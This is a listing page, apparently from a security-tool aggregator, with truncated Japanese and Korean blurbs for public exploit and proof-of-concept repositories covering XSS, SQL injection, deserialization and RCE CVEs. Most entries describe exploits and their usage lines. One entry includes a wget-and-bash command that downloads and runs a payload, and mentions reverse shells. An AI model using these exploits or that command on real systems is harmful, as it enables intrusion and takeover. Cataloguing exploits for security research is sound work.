CVE-2024-57175

CVE-2024-57175: PHPGURUKUL Online Birth Certificate System v1.0 における格納型クロスサイトスクリプティング（XSS） 説明 PHPGURUKUL Online Birth Certificate System v1.0 の /user/certificate-form.php ページに格納型クロスサイトスクリプティング（XSS）の脆弱性が確認されました。この脆弱性により、認証されたユーザーはプロフィール名フィールドに悪意のあるXSSスクリプトを注入でき、クライアント側でコードが実行される可能性があります。 再現手順（PoC）...

Detailed-Analysis-and-Mitigation-Strategies-for-CVE-2024-38124-and-CVE-2024-43468

CVE-2024-38124 および CVE-2024-43468 の詳細分析と緩和戦略 CVE-2024-38124 および CVE-2024-43468 の詳細分析と スクリプト緩和戦略 CVE-2024-38124: Windows Netlogon 技術的な悪用のコンテキスト: 実際のシナリオでは、ネットワークにアクセスできる攻撃者は、特別に細工された Netlogon メッセージをドメインコントローラーに送信することで CVE-2024-38124...

Exploit_CVE-2019-17558-RCE

ExploitCVE-2019-17558-RCE Apache Solr 1.4 インジェクションでシェルを取得 url、postrequest、getrequest をエンコードする...

CVE-2025-63406-PoC

CVE-2025-63406 PoC インストール root@kitploit: Install dependencies pip install -r requirements.txt Or use a virtual environment python3 -m venv venv source venv/bin/activate On Windows: venv\Scripts\activate pip install -r requirements.txt 使い方 root@kitploit: python3 CVE-2025-63406.py -u -n -p -c 引数 -u...

Ashwesker-CVE-2025-52691

🚨 CVE-2025-52691 — 深刻なSmarterMailの脆弱性 ステータス: 🔥 重大 — 直ちに対処が必要 CVSS v3.1 スコア: 10.0 / 10 公開日: 2025年12月29日〜30日 🧩 脆弱性の概要 CVE-2025-52691 は、SmarterTools SmarterMail Server に影響を及ぼす重大な、認証不要の任意ファイルアップロード脆弱性 です。 悪用されると、リモートコード実行（RCE） およびサーバー完全乗っ取り に直接つながる可能性があります。 🎯 主な技術的詳細...

CVE-2025-55182-POC

CVE-2025-55182 / CVE-2025-66478 脆弱性再現環境 これは React2Shell CVE-2025-55182 および Next.js RSC RCE CVE-2025-66478 の脆弱性を再現するための最小限の MVP です。 ⚠️ 警告 このプロジェクトはセキュリティ研究および教育目的のみに使用してください。本番環境や許可のないシステムでは使用しないでください。 脆弱性の概要 CVE-2025-55182 は React Server Components における深刻な脆弱性であり、以下に影響します： React : 19.0.0, 19.1.0,...

HTTP-Request-for-PHP-object-injection-attack-on-CVE-2023-41892

이러한 유형의 공격은 PHP 애플리케이션의 역직렬화 프로세스를 악용하여 임의 코드를 실행하거나 서버에서 의도하지 않은 작업을 수행하려고 시도합니다. 완화 전략 PHP 객체 주입 및 유사한 공격으로부터 방어하려면 다음 전략을 고려하세요: PHP 객체 역직렬화 비활성화: 사용자 제어 입력에 대해 unserialize 사용을 피하세요. 이는 본질적으로 안전하지 않습니다. JSON 직렬화 사용: 데이터 구조를 교환할 때 PHP 직렬화 대신 JSON 인코딩/디코딩jsonencode/jsondecode을 사용하세요. 입력 정제 및 검증:...

CVE-2024-50972

CVE-2024-50972 설명 Itsourcecode Construction Management System 1.0의 printtool.php에서 발견된 SQL 삽입 취약점으로, 원격 공격자가 borrowid 매개변수를 통해 임의의 SQL 명령을 실행할 수 있습니다. 취약점 유형 SQL 삽입 제품 공급업체 Itsourcecode 영향을 받는 제품 코드 베이스:...

CVE-2014-6271

Shellshock 취약점 검사기 이 스크립트는 웹사이트가 Shellshock 취약점CVE-2014-6271에 취약한지 확인합니다. 요약: Shellshock 취약점Bashdoor라고도 알려짐은 2014년 9월 Unix Bash 셸에서 발견된 보안 결함입니다. 이 취약점은 Bash가 환경 변수를 처리하는 방식의 결함을 악용하여 공격자가 시스템에서 임의의 코드나 명령을 실행할 수 있게 합니다. 이로 인해 공격자는 취약한 시스템에 대한 완전한 제어권을 얻을 수 있습니다. 사용법: 스크립트를 사용하려면 확인하려는 사이트의 도메인 또...

Magento-eCommerce-RCE-CVE-2015-1397

Magento Shoplift Exploit SUPEE-5344 - CVE-2015-1397 概要 このスクリプトは、MagentoのCVE-2015-1397 脆弱性（通称Magento Shopliftエクスプロイト）を悪用します。SQLペイロードを注入することで、Magentoデータベースに新しい管理者ユーザーを作成できます。 元々はManish Kishan Tanwar error1046 によってPythonで記述されましたが、このバージョンはDivine Clown 0xDTC によってBash に変換され、認証情報を対話的に入力できるプロンプトを備えています。 ...

CVE-2025-8088-Exploit

CVE-2025-8088 WinRARエクスプロイト 🔓 WinRARの脆弱性（CVE-2025-8088）の概念実証エクスプロイトで、バージョン7.12以下に影響します。このツールは、悪意のあるRARアーカイブを作成し、ペイロードを代替データストリーム（ADS）にパストラバーサルを伴って埋め込み、任意のコード実行につながる可能性があります。 他の多くのエクスプロイトの問題点は、複数のADSストリームを埋め込んでおらず、正しいパストラバーサルを偶然見つけるか、正確なユーザー名/展開ディレクトリを知っている必要があることです。 🚀 動作の仕組み 1. おとりのドキュメント作成 📄 -...

CVE-2022-29078

CVE-2022-29078 | EJS SSTI → RCE ホワイトハットスクール 第4期 32班 - 우상범 @taka3636 概要 EJS Hello のように、HTML内にタグでJavaScriptを埋め込み、動的な画面を生成します。内部的には、EJSはテンプレート文字列をJavaScript関数にコンパイルした後、実行して最終的なHTMLを生成します。つまり、「文字（テンプレート）を実行コード（関数）に変換する」コードジェネレーターであり、この性質が本脆弱性の根本的な背景となっています。 CVE-2022-29078の紹介 EJS 3.1.7 は、レンダリングオプション...

CVE-2023-4220

CVE-2023-4220 の概念実証エクスプロイト 影響を受ける製品 : Chamilo = 1.11.24 この CVE は、Chamilo 1.11.24 以前における認証なしファイルアップロードの脆弱性を悪用するものです。 攻撃者は制限なしに PHP ファイルをアップロードでき、RCE に至ります。 使用方法 root@kitploit: python3 exploit.py -u URL -c COMMAND...

CVE-2024-6529

WordPressプラグインの脆弱性に対する概念実証（PoC） このリポジトリには、さまざまなWordPressプラグインで発見された脆弱性に対する概念実証（PoC）スクリプトが含まれています。これらのスクリプトは、攻撃者がこれらの脆弱性を悪用して悪意のあるアクションを実行する方法を示しています。 目次 対象脆弱性 セットアップと使用方法 Ultimate Classified Listingsプラグインの反射型XSS XSSを使用したCookieの窃取 重要な注意点 対象脆弱性 1. Ultimate Classified...

CVE-2024-50849

CVE-2024-50849: WorldServer v11.8.2에 저장된 XSS WorldServer v11.8.2의 'Rules' 기능에서 발견된 저장형 교차 사이트 스크립팅XSS 취약점으로, 원격 인증된 공격자가 임의의 JavaScript 코드를 실행할 수 있습니다. 인증된 높은 권한의 사용자는 'Rules' 페이지로 이동해야 합니다. 모든 필수 필드를 채우고 Rule name과 Parameter subject 필드에 XSS 페이로드를 삽입합니다. 규칙이 저장되면 'Execute Now' 버튼을 클릭한 후 JavaScrip...

CVE-2025-67888

CVE-2025-67888 Control Web Panel = 0.9.8.1208 admin/index.php OSコマンドインジェクションの脆弱性 影響を受けるバージョン: バージョン 0.9.8.1208 およびそれ以前のバージョン。 脆弱性の説明: "key" GETパラメータを介して /admin/index.php に渡されるユーザー入力は（"api"...

CVE-2025-26633

CVE-2025-26633 - MSC EvilTwin PoC Microsoft Management Console MMC を悪用する CVE-2025-26633 脆弱性の概念実証 PoC 概要 この PoC は、Trend Micro によって発見された CVE-2025-26633 脆弱性をシミュレートしたものです。この脆弱性は、悪意のある .msc ファイルの読み込みを悪用し、MMC コンテキスト内で HTML と ActiveX を介したリモートコマンド実行を可能にします。 注意 この PoC は教育目的 であり、管理され認可された環境でのみ 実行する必要があります。...

CVE-2025-58180

CVE-2025-58180 OctoPrint のファイルアップロードにおける無害化されていないファイル名によるRCE OctoPrint バージョン =1.11.2 において、ファイルアップロードアクセス（有効なAPIキーやセッションなど）を持つ攻撃者は、サニタイズ（無害化）をバイパスし、後に OctoPrint のイベントシステムによって実行される悪意のあるファイル名を作成できます。これにより、ホスト上でリモートコード実行（RCE）が発生します。 PoC: 脆弱性再現の手順 ステップ 1: バージョン情報 最新安定版リリースをダウンロード: OctoPrint 1.11.2 ステッ...

cve-2025-55182-poc

CVE-2025-55182 React2Shell - 学術的概念実証 ⚠️ 免責事項: 教育目的のみ このリポジトリには、重大な脆弱性（CVSS 10.0）に対する機能的なエクスプロイトコードが含まれています。これは、厳密に学術研究、セキュリティ分析、および教育目的を意図しています。自分が所有していない、または明示的なテスト許可を得ていないシステムに対してこのコードを使用しないでください。著者は、いかなる誤用に対しても責任を負いません。 📄 概要 このプロジェクトは、React Server Components RSC...

CVE-2019-19609-POC-Python

このスクリプトは、"updatedpass" 変数で宣言されたパスワードへのリセットを試みます。成功すると、Strapi から JWT トークンを取得し、それを使用してコマンドを実行します。 bind コマンドの実行は、bash や python などでリバースシェルペイロードを送信しない限り機能しません。.sh ファイルを生成して nc をダウンロードして実行させるなど、どんな方法でもかまいません。elf でも構いません。そのためには、payloadexp を && から に変更してください。例: && $wget xxxx -O /tmp/oooo; bash /tmp/ooo UR...